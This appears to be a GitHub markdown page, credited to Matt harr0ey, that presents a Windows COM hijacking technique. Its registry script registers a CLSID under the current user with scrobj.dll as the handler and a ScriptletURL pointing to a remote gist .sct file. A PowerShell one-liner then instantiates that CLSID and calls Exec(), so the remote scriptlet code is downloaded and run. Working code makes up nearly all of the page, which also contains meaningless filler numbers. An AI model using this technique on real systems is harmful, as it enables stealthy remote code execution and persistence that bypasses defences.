Skip to content

Latest commit

 

History

History
36 lines (23 loc) · 1.31 KB

Powershell.md

File metadata and controls

36 lines (23 loc) · 1.31 KB

Synopsis: This method grants you the right to access and execute COM object codes via Activator.System .NET to connection with Scriptlet through a CLSID

131231

312313123123131

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}]
@="Bandit"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\InprocServer32]
@="C:\\WINDOWS\\system32\\scrobj.dll"
"ThreadingModel"="Apartment"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\ProgID]
@="Bandit"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\ScriptletURL]
@="https://gist.githubusercontent.com/homjxi0e/3e4488789a6b9222e445a68d29962518/raw/a167f0f680b446be17fa6a898b865b0056dfb072/COMobj.sct"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00020000-0000-0000-C000-000000000046}\VersionIndependentProgID]
@="Bandit"

$1=[Activator]::CreateInstance([type]::GetTypeFromCLSID("{00020000-0000-0000-C000-000000000046}"));
$1.Exec();

Author Matt harr0ey